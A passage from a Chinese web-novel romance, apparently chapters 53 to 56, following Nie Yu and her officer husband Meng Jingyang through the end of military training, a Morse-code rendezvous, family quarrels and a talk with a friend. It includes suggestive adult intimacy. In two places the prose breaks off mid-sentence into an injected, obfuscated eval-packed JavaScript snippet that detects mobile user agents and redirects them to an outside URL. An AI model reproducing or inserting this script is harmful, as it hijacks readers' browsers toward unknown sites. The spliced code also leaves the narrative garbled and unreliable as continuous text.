自进入训练基地之后,聂宇就没再跟孟京阳联系过了。一是没这个条件,二是人多眼杂。所以,对于他的出现,她可以说是毫不知情。 在最后一天的军训汇演开始之前,所有的连队以学院为单位在大操场上集合整队。等到他们这些参训人员连同标兵就位之后,负责检阅的科大和部队领导纷纷露面,就座于主席台后。而孟京阳,就坐在部队这一侧的最后一个位置。 他的出现引起了小小的混乱,最起码在聂宇旁边的这几个连队里,就有人在偷偷议论他,并得到了教官的喝止。一来是他是一张生面孔,无论是动员大会还是军训这一个月都没出现过,二来是他那张脸实在耐看,单看就足够清隽,更别提一旁还有几个做衬托。只是聂宇已经完全顾不上感慨这些了,她完全沉浸在见到孟京阳的惊喜中,好一会儿才稳下心神。 当天上午,军训汇演还算顺利,结束之后已近中午,基地领导吩咐立刻开饭,饭后便开始安排送学生们离开。 因为临时有任务安排,回去时负责接送的车辆比来时少了一半儿,这就意味着要分三批才能把人全部送走。但鉴于基地和学校之间的距离较远,一来一回需要近三个钟头,所以这天下午最多送两批,还有一批得留到明天上午才能返校。 聂宇所在的学院就是被留下的那一批,基地为了安排他们也是煞费苦心,开了礼堂和俱乐部的大门,叮嘱他们可以随意但有序地进出娱乐和消遣,也免得这些年轻人无事生乱。 聂宇自吃过午饭回到宿舍后就开始心神不定。她知道孟京阳不是无缘无故白来的,他跟这里的部队是八竿子打不着的关系,会出现在此,要么是来见她,要么干脆就是来接她。所以他肯定会联系她,但不知道是以何种方式。 方才吃饭的时候,她有些担心他会突然出现,把她叫过去。虽说聂宇无意隐藏两人的关系,但毕竟是刚开学,她还是想低调点。还好,孟京阳并没有这么做,只是现在等她回到宿舍里了,又不知孟京阳会如何来见她了,要知道这栋女生楼他大概率是无法进来的。 “谁是聂宇,出来下!” 就在聂宇正在心里头琢磨的时候,分管她们的女兵排长站在门口喊了一声,她愣了下,连忙起身走了出去。女兵排长正在外面等她,见她出来,示意她跟自己一起回了办公室。 “有人让我把这个东西给你。” 女排长说着,递过来一个信封。聂宇接过去,有些疑惑地从里面取出一张折半的信纸,打开。再一看上面的内容时,她全然明了了,不由一笑。 “谢谢排长。”聂宇似模似样地敬了个礼,算是她表达谢意的方式。 “没事,我也算完成任务了。” 女排长笑笑,示意她可以出去了。在聂宇走后,她在心里悄悄感慨:这些来军训的人里真是卧虎藏龙呀,一不小心还有首长家属呢。 - 信自然是孟京阳托人送来的,但上面没有一个字,只有点和横。换做别人自然是轻易读不懂这份“天书”,但聂宇是学计算机的,怎会读不懂这鼎鼎有名的摩尔斯码呢。她之前在家看书的时候还跟孟京阳讨论过,也难为他想起用这个来传信。 聂宇心里清楚,他这么做保密是一方面,更多怕是想逗她玩儿。而他送来的“天书”翻译过来只有简单的三个数字,应该是他在招待所的房间号。所以说,这是让她去找他喽? 聂宇做短暂的思量后,回宿舍拿上自己的帽子,就出门了。现在军训已经结束,没有教官和领导再来管束他们了。但基地里还设有纠察,会监督一些捣乱或者搞破坏的行为,也会要求他们的军容军纪,所以聂宇还是得注意。她走到一楼,对着军容镜整理了下着装,然后一头扎进了外面的艳阳当中。 - 基地招待所里,孟京阳正坐在那里喝水,等人来。 过去的这一个月他忙的无暇分身,先是做外军研究教案,然后又是在团长的布置下进行大型的沙盘推演,直到昨天才完全腾出空来。本想着等聂宇返校了直接去学校接她,后来他又忽然念头一动,想着自己为什么不过来基地瞧瞧她呢。尽管只差一天,他也愿意提前见到她。 原本是想低调前来,也算是给聂宇一个惊喜。结果到了之后被强推上了主席台,于是是一点儿惊喜也没了,他只能这么坐着等人来。 忽而,有敲门声从门外传来。孟京阳本想立刻起身去给人开门,没想到敲门声仍在继续,先是三个长击,然后又是两长中间加一短,翻译过来就是英语单词“OK”,这是她在用同样的方式回应他的相邀呢。 这个小情趣让俩人的见面变得有意思起来,孟京阳眼眸中已经带上了笑意,走过去把房门打开了。 门外,自然是聂宇。她笑眯眯地看着孟京阳,却见他眼睛一眨不眨地在打量着她,没说话。聂宇不禁有些莫名,下意识地摸自己的脸,看是不是有什么不妥。 转而想到自己是照过军容镜的,便歪头问他:“你看什么呢?” “难得一见,在欣赏亚非混血同胞。” 孟京阳说完,终于往一旁让了让,意思是请她进门。聂宇却已经被他气个够呛,走上前还没想好怎么报复,就直接被人拦腰带进了房间。房门一关,一抹高大的阴影朝着她压了下来。 一个激烈又绵长的热吻,亲到一半儿聂宇想起来窗帘没拉,稍稍推了下孟京阳,提醒他。 “没事。”他短暂地停了下,带着气声回答她,“对面是空地,看不到这里。” 于是,便心安理得地忘情,到最后聂宇的帽子掉了下来,某人常服衬衣的口子也被拽开了两粒。若不是顾忌着可能会有人从走廊经过,怕是…… 在相拥着相互喘息平复的时候,聂宇在他腰上掐了一把,问道:“我真晒的那么黑了?” 这段时间她天天照镜子,觉得还好呢。并且她来军训前还专门去商场里选了一款新上的防晒霜,天天都在按时按点的涂。 “骗你的,不这么说你怎么能‘投怀送抱’?” “……” 聂宇无语,刚又在他腰上掐了下,某人就迅速抓住她的手,低下了头来。于是,她所有的抱怨悉数都被堵了回去。 - 等暂缓了相思之情后,聂宇做的第一件事就是奔卫生间洗热水澡。天知道她们这些天洗澡有多困难,有的时候实在排不上水龙头就只能自己兑点热水擦一擦了,极其敷衍。而聂宇作为稍有洁癖的人,对此当然颇为不满。 孟京阳没跟着进去,尽管他十分想。现在毕竟还是在基地里,这一层入住的也有别人,房间也不知道隔不隔音。他出现在这里已经算是计划外,纵使再想也要忍住。 当然,这并不代表他不能给自己讨一些福利,这才有了刚才的忘情一刻。 二十分钟后,聂宇擦着头发出来了。孟京阳正坐在那里闭目等她,闻声向她抛去一个眼神,拍拍腿,示意她坐过去。聂宇也不忸怩,直接走过去侧坐在了他的腿上,继续擦头发。 孟京阳就这样微微抬头看着她,沐浴在窗外阳光下的她裸露在外的皮肤莹白细致,哪里看得出一点儿风吹日晒后的痕迹。他抬手欲摸她半湿的长发,就见聂宇忽然晃了晃头,水珠在阳光下四散,像浮跃的碎金,落在他的脸颊、手臂和衣服上,在起初轻微的湿凉触感后,又带着微烫的感觉,久久地停留在了那里。 孟京阳着实有一种被烫到的感觉,他抬手轻拍了一下聂宇的后背,仿佛是在惩罚和提醒她的调皮。聂宇对他轻笑,一抬手将长发悉数拨到了耳后,瞬间露出脖颈处那一片雪白。孟京阳看着,已经分不清这姑娘是不是故意的了,亦或者他的意志力在她面前已经毫无用处。 “这一个月感受如何?” 孟京阳的手仍然停留在她的背上,同时他发现聂宇的头发已经长到足够长,以至于他稍稍抬一下手就能将长发卷入指间,摩挲把玩的同时也不会扯拽到她。他像是发现了个新游戏似的,就这样不厌其烦地一边卷着她的发尾,一边同她说话。 “都很顺利,不过还是发生了一点意外的情况。” 聂宇抬动双脚,将两条腿都搭在了他的腿上,悬空的脚跟微微点在沙发上,以作支撑。孟京阳顺势握住她的脚踝,轻抚了下感觉到她的轻颤,便没再妄动。 “详细说说。” 孟京阳挑眉示意,聂宇迟疑了下,还是把“换被疑云”告诉了他。 孟京阳被她起的这个名字逗乐,过后又稍作思忖,说:“处在集体当中,你处理这个问题的思路是对的。无论如何,不能过高估计人性。” “对呀,一个搞不好就是我们七对三十三了。” 聂宇微微苦笑,又听孟京阳说:“你这个估计还是乐观了,也有可能是一对三十九。” 聂宇一怔,但看孟京阳的表情是认真的,不免有些胆寒。 “也还好。”她说,“那件事发生第二天,就有一个女生私下悄悄告诉我说,在昨天集合的时候,她作为最后几个出门的人之一,看到我们宿舍有两个女孩儿又折返了回去。谁知道她们回去是干什么呢?” 聂宇冲他眨了眨眼,就见孟京阳微蹙一下眉头,说:“提供线索勇气可嘉,但也有可能是在误导你,混淆事实。” “我想到这一点了!”聂宇有些没好气,觉得这人简直过于聪明了,一点儿不给她发挥的机会,“所以也没有轻信。但有一个线索帮我锁定了嫌疑人,你肯定猜不到。” “……”孟京阳抬眸笑睇着她,等着她揭晓答案。 “气味。”聂宇说,“栽赃给我的那条被子上还有香味儿,这也算是始作俑者百密一疏的地方,借着同位素标记法,我算是找到了陷害我的人。” “认识么?” 见聂宇脸上没有开心,反倒是有些唏嘘的样子,孟京阳猜测道。 “不仅认识,还是同一个宿舍的。”聂宇不免叹了口气出来,“不过我觉得她的目的并不是真想陷害我,而是更想避免自己受罚。大概她也没想到自己叠的那么差,会被教官拎出来,连累着我当众受批评。所以她回宿舍就赶紧联合别人,企图借着缝名字抹清罪证。我猜,按照她原来的打算,肯定是准备一下训就赶紧回到宿舍,把我俩的被子换回来的,来个神不知鬼不觉。” “内务检查不是一天两天的事,有这心思不如多下下功夫把被子叠好。”孟京阳不以为然道。 “所以说她也不聪明是不是?而且第二天早上查内务,她就被黑无常给批评了。” “黑无常是谁?”孟京阳问,随即又反应过来,“你们给教官起的外号?” “别人起的,我们跟着叫。但教官人还是很好的,他知道有人在这件事上动心思,专门就把检查内务的时间提前到集合前,趁大家都在的时候。当然,我也有在旁边小小提醒一下的,毕竟不能再掉进同一个坑里,你说是不是,孟参谋长?” 聂宇有些得意了,孟京阳用目光表示赞许,手却在她腰窝处轻捏了一下,换来一个瞪视。 “那你接下来打算怎么办?”某人假装没看见,问道。 “我打算再观察一下,看她这么做是一时动念,还是真的想跟我过不去。”聂宇说着,表情有些怅然,“也算是再给她一次机会吧,毕竟她才十八岁,我不信她能有多坏。” 孟京阳不是很赞同,但如果聂宇坚持,他肯定尊重她的意思。这件事聂宇处理的颇为果断和机智,而且她向来有主见,不是完全等着别人出主意的人。 “也行,现在敌在明处,形势对你还算有利。不过——”孟京阳稍稍一停顿,对上聂宇的视线后又问,“那条带着她味道的被子,你就一直盖到了军训结束?” 聂宇没懂他怎么会在意这个。 “那倒没有,我闻出来是她之后,就跟排长申请换了条新被子。过渡的两天也只是随便搭一搭。” “闻出来……”孟京阳失笑,“你是小狗么?什么品种?” “……”聂宇看着他咬牙,又有些想“投怀送抱”了。 -54- 聊过这个话题之后,俩人聊了些别的。阔别一个月,有太多可以说的了。 “孟京阳,我觉得你有时候有点儿幼稚。” 不知聊到了哪里,聂宇忽然停下来,盯着孟京阳看了几秒后,说。 孟京阳有些莫名,抬一抬眉,意思是问她何出此言。 “你撩我头发多久了?有这么好玩儿吗?”聂宇都有些想笑了。 孟京阳似乎天生不知何为羞愧,闻言甚至稍稍加重了一下手中的动作,反问道:“不撩这儿,那我撩你哪儿?” “……” 聂宇与他对视,只觉得脸颊微烫。这个人,总是话里有话。 孟京阳看她如此,终是忍不住笑了,笑完之后轻声感慨:“澄澄,我真的是小看你了。” “也高看了你自己。”聂宇话接得极快,一掀眼皮,由下及上看他,带着一股天真的大胆,低声问,“你今晚回去能睡得着吗?” “……”这回沉默的人换成孟京阳,他盯着她看了几秒,声线微沉地威胁她道:“聂宇,你明晚不打算回家睡了,是不是?” 明晚的事,明晚再说喽。聂宇笑一笑,一副不足为惧的模样。 孟京阳有种被她治住的感觉,打算服一回软。 “如你所愿,要睡不好了,怕是一晚都得念着你。” 这个答案让聂宇十分满意,她枕在他的胸口,轻声说:“我也是。” 如此以来是不能再继续相处下去了,又腻歪片刻,孟京阳抬腕看了下表,开始不舍但坚决地撵人。聂宇也不敢再撩拨他,头发随手一扎,帽子一带,就要离开。 “我送你下去。” 孟京阳提议道,聂宇想拒绝,这人已经取过来了军装外套,于是只好答应。两人收整好,一前一后出了门。 外面的阳光没有来时那般炽烈了,聂宇让孟京阳留在一楼大厅,不要再送她出去。 孟京阳知道她有所顾虑,便依言而行。临分别前,他叮嘱她:“明天到校的时候估计快十点了,我到时去接你。” “不用了。”聂宇说,“反正就三站地,我坐公交车就行,这样也不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568655|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心让你久等。”说不定回学校又有什么事呢。 孟京阳说无妨,抬手正一正她的帽檐,放她走人了。 聂宇此时的心情很好,结果一出招待所没多远,居然看到了黑无常。黑无常看到她也有些意外,眸光一抬看到不远处招待所的台阶上注视着聂宇的孟京阳,更是讶然无比,一句话也说不出来。 聂宇知道他在震惊什么,可惜这会儿不好跟他多解释,便打了个招呼后匆匆离去。徒留“黑无常”这个年轻的老兵自己一个人在原地兀自纠结这是怎么一回事。 - 回到宿舍里,大部分人都去礼堂看电影或者去俱乐部玩耍了,只有十来个人留守。计算机学院的几个人倒是都在,正都围在一起,不知道在讨论什么。 这种场合自然是少不了宁露的,她看见聂宇进来,连忙招手让她过去:“快来小宇,我们正在研究回去选宿舍长的事儿呢。” “是么,要回去选么,这会儿正好人也齐了,不如就选了吧。” 聂宇的答复颇为积极,宁露停了下,说:“也行呀,你有没有推荐的对象?或者你干脆本人参选?” “我就算了。”聂宇笑着摆摆手,又说,“我推荐田舒云。” 计算机学院的都推荐田舒云,这样一来两个候选人的票数比变为三比一了,选另外一个候选人宁露的只有李晓晓。 宁露看起来颇为失落,但还是强打起精神,恭喜田舒云。 “舒云,以后咱们宿舍所有人就在你的带领下努力进步啦。” “谢谢小宁,我一定不辜负大家的期望。”田舒云哈哈一笑后,说道。 鲁静看出来宁露的强颜欢笑,想了想提议道:“咱们宿舍比较特殊,由两个专业的同学构成,其中我们计算机专业的占一大部分。我建议,再选宁露为副宿舍长,到时候有什么事跟舒云商量着来,如何?” 就六个人还选个副职出来?聂宇不免有些咋舌,冯瑛也是如此。但田舒云很大气地应下了,本来一个宿舍长就没什么好当的,说白了就是为大家服务的,现在多一个人出来分担,她也乐意。 “那就这么说定了。” 一宿舍的人皆大欢喜,开始商量着哪天一起出去搓一顿。这个时候宁露不插话了,反倒笑眯眯地看着聂宇,问道:“小宇,你刚才去哪里了,我听咱们宿舍的一个人回来说,看到你往招待所那边走了,那边有好玩的吗,你一去呆这么久。” 宁露的话,吸引了另外一个人的注意力,大家都不说话了,只盯着她。 “你听谁说的呀?”聂宇轻声反问,给人毫无杀伤力的感觉。 “就……我们专业的一个女生,你不认识。”宁露笑一笑,说。 “我不认识她,她反倒认识我,还留意我的动向?” 聂宇做出费解的样子,宁露不免有些尴尬,一时不知该如何接话。 “你魅力大呗。”冯瑛笑说,“我有个老乡,男的哦,开学第一天见到咱俩一起去水房,私下里找到我了解你的情况呢。” 聂宇还是头一次听说这事儿,哭笑不得。 “那你怎么回复的?”田舒云问。 “我就说,要不你回去照照镜子吧,看清楚自己的模样,别整天想着癞蛤蟆吃天鹅肉!”冯瑛叉腰,一副凛然正气的样子,逗得大家笑的前俯后仰。 “说得好!让那些男的都滚一边去吧!”田舒云一挥手,豪气冲天。 在说笑间,聂宇看了宁露一眼,只见她对她歉然一笑:“小宇,不好意思哦,我也是随口一问,没打探你隐私的意思……” “我也没别的意思,你千万别多想哦。”聂宇截住她的话头,歪头一笑,“至于我去那边干嘛,这是我的个人私事,我想保密,你能理解吗?千万不要不高兴哈。” 走别人的路,让别人无路可走。譬如此刻,聂宇学宁露做出一副楚楚可怜的样子,宁露竟不知该如何应对了,手都快摆出残影来。 “我怎么会为这点儿事不高兴呢,本来就是随便聊天。” “那就好那就好。” 聂宇做出松一口气的样子,扭过头继续跟冯瑛他们说话了。宁露看着她,轻轻咬住了唇。宿舍六个人里,最让她看不透的,就是聂宇! - 当晚,宿舍里的人闹到很晚,得女兵排长多次提醒才全部睡下。 第二天,大家坐着返程的军卡回到了学校,得到了休整三天的通知。聂宇颇为开心,收拾好东西就回家了。 回的自然是他们两人的住处,本来计划了一大堆要做的事,但因为某人昨天过于嚣张,于是“惩罚”降临了。一整个下午卧室里的动静都没怎么停过,结束之后,聂宇彻底蔫儿了。 孟京阳倒仍神采奕奕,他拥着聂宇,手指在她滑如凝脂的脊背上来回流连,颇有未尽之意。只是今日已经很放纵,只得云收雨歇。两人相拥着眯了片刻,醒来后窗外已经天黑,聂宇从孟京阳那里得到一个消息:两日前,杨桃给蒋家那边来了个电话,说这两日会来燕城。如果聂宇有空,她想跟她见一面。 某种程度来说,杨桃还算她和孟京阳的牵线人呢,聂宇不由清醒了,起身确认:“真的?” 孟京阳“嗯”一声:“昨晚回来之后,我去干休所了一趟,小宋说的。” 昨天孟京阳未在训练基地过夜,见过聂宇之后就回了市里。 “好哦。”聂宇说,“那我明天回干休所大院等她来,反正到时候你也回团里了。” 孟京阳睁开眼,见聂宇一脸期盼的模样,不由有些不悦。他还没走呢,她已经把明天的安排计划好了。不仅如此,见的还是杨桃,那个在照山时给她出“馊主意”的女孩儿。 孟京阳表达了自己的想法,就听聂宇一笑,说:“你不待见人家,人家还不待见你呢。” “哦?”孟京阳这下来了兴致,“你俩凑一起说了我多少坏话?” “说的可多了。”聂宇毫无戒备心道,“说你这个人表面看着风度翩翩,其实、其实内里蔫儿坏。我当时还替你辩解,现在觉得杨桃说的可对了。” “不错,又有旧账可算了,后天晚上我们继续。” “????”聂宇觉得他说梦话呢,“你后晚在家?” “还没来得及告诉你,大后天在市里开会,所以后天晚上我会提前赶回来。怎么也要在你假期结束的时候,回来见你一面,你说是不是?” 这话说的可真是含情脉脉,聂宇却有点儿想哭了,她想求孟京阳不要回来,她真的有点儿拿他没办法了。 - 第二天一早,孟京阳回了团里,聂宇睡了个饱足的觉,起床简单用过早饭后,就出发前往干休所。 孟老爷子这阵外出没有回来,她便先去了蒋家见姥爷。不想一进门,却看见舅舅蒋云鹏正坐在那里发呆,神情是一脸的疲惫和厌烦。而他的妻子魏莹也没去上班,正坐在对面一脸梨花带雨的抹眼泪,样子很是惹人怜惜。 聂宇想,不是这俩夫妻吵架,就是蒋晓先那边又闹幺蛾子了。当然,往好处想一想,可能是两件事同时发生了。 28.55-56 -55- 聂宇十分不想掺和到这家的糟心事里去,但如果跟蒋晓先有关的话,里面很有可能会牵扯到自己奶奶,所以她还是不好当做没看见。 “舅舅舅妈——” 聂宇先跟这对夫妇打了声招呼,到了面前才装作刚看到蒋云鹏面色不虞的样子,故作讶异地问:“怎么了舅舅?您惹舅妈不高兴啦?” 蒋云鹏颇为尴尬地看了聂宇一眼。 自从蒋晓先那件事后,他就十分不待见这个外甥女。但她现在毕竟嫁进了孟家,且对象还是孟京阳,不好跟她闹得太生硬。而且如果非要选一个的话,蒋云鹏也觉得聂宇比自己的女儿聪明得多,你瞧人家,就有本事给自己张罗个好丈夫。 “没事。”蒋云鹏讪然一笑,“是晓先的事,她在旬城不大住得惯,想回来……” 蒋晓先跟聂杰英回到旬城之后,着实过了段舒坦日子,因为大爸一家都是拿她当姑奶奶供的。然而她和聂杰英之间的感情毕竟是有限的,再加上她娇气刻薄又有些跋扈的性子,时间长了聂杰英自然觉得难以忍受。 于是就爆发争吵,一开始还是偶尔,现在已经发展到一周一次了,闹的聂宇大爸大妈两口子真是苦不堪言,私下里直言娶回来个孽障。 蒋晓先受了委屈自然就想到了家里,打电话过来诉苦要求回燕城。然而蒋云鹏哪里能做得了老爷子的主,即便是做给聂家看也不会允许她这么快回来的。更何况还有一个魏莹在旁边吹枕头风,她为了自己和儿子也不会待见蒋晓先这个搅事精。 蒋云鹏理解魏莹的抵触情绪,但他毕竟也是蒋晓先的父亲,自己这个小家内部都搞内讧,还如何指望去跟老爷子和聂家抗争。因为这个他向魏莹发了通脾气,魏莹也自觉委屈,局面便发展成了现在这样。 了解了事情经过之后,聂宇只是微微一笑,说:“晓先在燕城长大,去了旬城肯定要适应一阵子的。时日还长,我大爸大妈待她也像亲闺女一样,她慢慢会习惯的,舅舅舅妈真不用太担心。” 至于接她回来的事儿,呵呵,没门儿。 蒋云鹏听聂宇这样说,就知道指着她说和没戏了,又是讪讪一笑,借口有事出去了。他一走,魏莹就连忙起身,走过来拉住聂宇的手,感激地不知该说什么好。 “小宇,我也不是不想让晓先回来,只是这个祸根毕竟是她自己作下的,不能总指着别人去替她承担,你说是不是?” “……”聂宇看着魏莹,一时没有说话。 自她来到燕城,魏莹就是一副做小伏低忍辱负重的姿态,以至于模糊了她对她的认知,以为她就是这个样子。殊不知兔子急了还咬人呢,更何况魏莹是只比兔子强上百倍的狐狸。若没有一点心机,她也不可能找上蒋云鹏,并让他心甘情愿娶她。更不可能借力打力,一举将蒋晓先赶出了燕城。 自从从奶奶那里得知是她向蒋晓先透露了聂杰英来燕城的消息后,聂宇就没法儿再把她当一个柔弱无助的年轻后妈来看待了,或许她的心眼比谁都多。 “您说的对,我舅舅会想明白的。” 聂宇不至于讨厌魏莹,但她的那招算计将自己和奶奶也牵扯了进去,这是聂宇不可原谅的。所以注定只能渐行渐远。 - 应付了魏莹之后,聂宇去了书房。老爷子蒋铸正在这里看报纸,听见响动也没有抬头,只问:“你舅舅和他媳妇闹完了没有?” 敢情老爷子知道呢,那还如此坐得住。 “舅舅出去了,舅妈也没事儿了。”聂宇说着,在老爷子一侧坐下,没忍住好奇问,“您都知道了,还由着他们吵?” “无非是那点事,总要给他们发泄的机会。”蒋铸不以为然道。 “可吵架会影响感情呀,而感情也是有数的,吵完了就完了。”聂宇笑一笑,提醒他道。 “完了就完了。能把感情吵完,只能说明他们不合适,那就趁早散了,也是个好事。” “……”这下聂宇是真惊着了,不知老爷子何时竟变得这么豁达。 蒋铸看聂宇一眼,也有些意外。这姑娘像是又长开了似的,眉眼都比刚来的时候看的舒展,脸色也不错,堪称容光照人,想来跟孟家那小子的日子过的还算不错。得出这个结论,蒋铸欣慰的同时又有一瞬的黯然:或许他是真的老了?孩子们自己做的选择,未必就是错的。 “姓杨的姑娘给你留了联系方式,小宋都记下来了,你给她回个电话吧。纸条就搁在写字台上。” 蒋铸收回目光,放下报纸起身道。聂宇本还想再陪着老爷子聊一聊,闻言也就不客气了,送老爷子离开后,她立刻就给杨桃打电话。 - 杨桃此行是来燕城出差的,接到聂宇电话之后十分开心,俩人当即就约定了见面的地点,时间就定在下午两点。 午后,聂宇在家里吃饭完后,出发前往约好的咖啡馆。因为路上转车有些耽搁,聂宇到的时候杨桃已经在座,还给她点了杯热牛奶。 好友再度相见,两人都十分开心,聊完了近况之后,聂宇就关心起杨桃的感情动向来。上次电话里她说的那样怅然,也不知现在如何了。 “还是那样。”杨桃微微一笑道,笑容里多了几分苦涩,“不好不坏,不死不活吧。” “怎么会呢?”聂宇有些诧异,“去年在照山的时候,你们不是还挺好?我看程泊宁很喜欢你呢。” “是吗?”杨桃的神情是少有的茫然,“我都有点儿记不清那时候的感觉了。也许是他看穿了我的真面目,所以——” “你有什么真面目?”聂宇打断她的自嘲,“你真当男人傻的,看不透你另有居心?只是他当时还喜欢你,所以愿意忍受。现在这样,无非是不喜欢了而已。杨桃,不要拿男人的善变来惩罚自己。” 聂宇说的这样郑重,杨桃都有些感动了。 “其实我没有隐瞒什么……”杨桃有些难过地说。 去年的照山之行,对杨桃来说其实是个意外之喜。因为父亲早逝,她这些年和母亲基本都是依附着部队照顾过活的,空担着一个“有背景”的名头,其实日子过的并不如意。幸得大姨一家的关照,在去年暑期大学刚毕业还没参加工作的十几天里,让她以照顾养病的大姨的名义,陪着一起去了照山休养,这才有了机会跟程泊宁多接触。 “他家跟我大姨一家是至交,我俩也算是从小就认识的。但毕竟不是一个圈子的人,后来联系慢慢就淡了。还是我上大学之后又常去大姨家看她,逐渐又恢复了联系,走到了今天。”杨桃说,“我承认我对他抱有功利的期望,但我这人其实又有些贪,还想要爱。小羽毛,其实我是爱他的……” 在聂宇面前,杨桃终于承认了一切。但这又让聂宇有些唏嘘,为什么很多人提到爱情的时候,总是伴之以眼泪? -56- “好了,不说我了,说说你吧。” 发泄过后,杨桃擦干眼泪,打起精神看着聂宇。这一看可不要紧,这小羽毛光彩靓丽得嘞。 “都没仔细看你,日子过得不错哟。”杨桃冲她挑挑眉。 “……”聂宇有一瞬的脸热。 其实她现在的心情有些沉重,大概是因为物伤其类,看着杨桃,她就不自觉想起自己来。 虽说她的企图孟京阳都一清二楚,当初结婚的条件也是他定下的。但会不会有一天,他也会像程泊宁一样“出尔反尔”,以这个为理由厌弃她? “分开”对聂宇来说并不算灾难,但想到有一天孟京阳会讨厌她,这让她隐隐觉得不能忍受。 杨桃自然能看出她的忧虑来,便出言安抚她道:“你不用怕。首先你有姥爷给你撑腰,其次,孟京阳会娶你,说明他也是真心喜欢你,你们好好相处就是了。” “真心——”聂宇咂摸着这两个字,反问杨桃,“真心的保质期有多久?永远吗?” “这——”杨桃一噎,哭笑不得,“这我说不好。可你总不能抱着‘早晚有一天会变质’的念头来过日子吧,至少当下这一刻是好的,那就享受当下。” 聂宇被杨桃的话宽慰了些许,她双手支颐,笑看着她道:“你怎么回事,净替孟京阳说话。” “那是,就算不说好话,我也不能说坏话了,因为那样等于是在骂你。”杨桃一抬下巴道。 “为什么?”聂宇诧异不解。 “因为你俩现在睡一个被窝啊,而一个被窝睡不出两种人。所以我骂他不好,不等于也在骂你么。” 杨桃坏笑,聂宇却是满头黑线。 “我俩各盖各的被子,谢谢。” “那有本事别睡一张床,只要在一张床上,都算一个被窝。” “……大部分时间还是不在一张床上,他睡团里,我睡家里。” 聂宇还在勉强挣扎着,杨桃却是越笑越开心了,逗小孩儿真有趣。 “好了别犟了,只要他没睡到别的女人床上,你俩永远算一个被窝的。”杨桃说着,一顿,想起什么又问,“说起来,你问过孟京阳没有,他以前有没有女朋友啊,发展到什么程度了?” “……”还真没诶。 - 当天下午,两人一直聊到很晚。 第二天因为没有别的安排,再加上杨桃很快就要走,两人又相约着一起去逛街,直逛到天快黑才回家。 到家时孟京阳已经回来,看着聂宇提着大包小包,他微挑眉头,问:“去商场了?” “没有。”聂宇笑着说,“去批发市场了,像不像去进货的?” 孟京阳对聂宇购物没意见,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580430|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她去批发市场颇有微词。 “怎么去那里买?”他略皱一皱眉,“便宜是便宜,但能穿住吗?” “杨桃想逛,我陪她去的。但是好多东西看着是真不错,价格又合适,所以就没忍住。”接过他递来的水,聂宇一口气喝光,解释道。 “所以说,你这是为美丽买单了。”孟京阳总结陈词道,觉得这个理由勉强可以接受。 “总要图一样吧。”聂宇眨眨眼,又说,“我还给你买了。” 这算一个惊喜了,孟京阳止住脚步,看她:“还有我的份儿?买什么了?” “你猜呢。”聂宇卖起了关子,“提示一下,不是穿在外面的。” 一来是他便装的机会不多,二来是太便宜没质感,不适合上他的身。但有些人已然是有点儿想歪了。 “不是穿在外面,那是穿在下面的么?”孟京阳想了想,反问道。 “对。” 聂宇点一点头,颇为期待地看着他,却见孟京阳看着她的眼神微微起了变化。她一惊,大概明白了他在想什么,便急的赶紧公布了答案,“是袜子,袜子,你在瞎想什么!” “急什么?”他忍俊不禁,“你又知道我在想什么了?” 聂宇快要气死了,干脆就不搭理他了。孟京阳见状,赶紧把人拉了回来。 “好好好,多谢老婆大人,这份心意我收下了。” 他拿腔拿调地说,聂宇不好再发作,只瞅着他,在心里默念俩字:德性! - 因为这个小插曲,当晚这个“旧账”是不好算了。但聂宇到底还是低估了某人的脸皮,借着回报她给他买袜子的心意这个由头,孟京阳到最后还是得逞了。不过聂宇也不好再指责他,因为人家是真的在“回报”,看到他头埋下去的那一刻,她只觉得整个人都炸裂开来了。 结束之后,聂宇摊成软泥,化成了水。她看着孟京阳只觉得羞愧,便转头侧趴着,不再与他对视。 孟京阳已经修炼到了极致,即便如此也将人揽在怀中,舒缓着心中的余韵。等他渐渐平复下来之后,听见聂宇低问了一句:“孟京阳,能跟我说一说你以前的女朋友吗?” 她知道他谈过,但不清楚是怎么回事。此时此刻,她忽然很想搞清楚。 孟京阳一怔,不懂她怎么忽然在这个时候提起这个话头。 “怎么想起问这个?” 他低声反问,就见聂宇忽然转过身来,目光炯炯地盯着他:“因为你这个人,真是有点儿太会了……” 以至于她不得不怀疑他是不是久经情场,经验丰富!说通俗点,就是他是不是上过别的异性的床! 孟京阳这一刻心中的况味有些复杂。 “孟太太,你怎么总说这种让我分不清是夸还是贬的话?” 他低笑着说,聂宇却不理会他的插科打诨,仍旧是一脸坚定地看着他。孟京阳这才晓得她是认真的,敛了笑,他答道:“没你想的那些事,在这事儿上我有多少本事和招数,都使你身上了。” 聂宇还挺意外的,这反应落在孟京阳眼中,引得他直发笑,是气的。 聂宇也有些不好意思了,但她也不想立刻服软。 “但你是谈过恋爱的,对吧?如果不是随便谈的,又怎么会分了呢?” 这会儿聂宇多半是出于好奇问了,而非怀疑。孟京阳听得出来,便耐下性子回答她道:“因为她是利用我,并非真的有感情。” “???” 聂宇一骨碌从床上爬起来,感觉到冷了才想起拾起被子将自己裹住。 “真的吗?你怎么尽——” 聂宇想说他怎么尽吸引来这种烂桃花,一想这是把自己也骂进去了,立刻止住了话头。 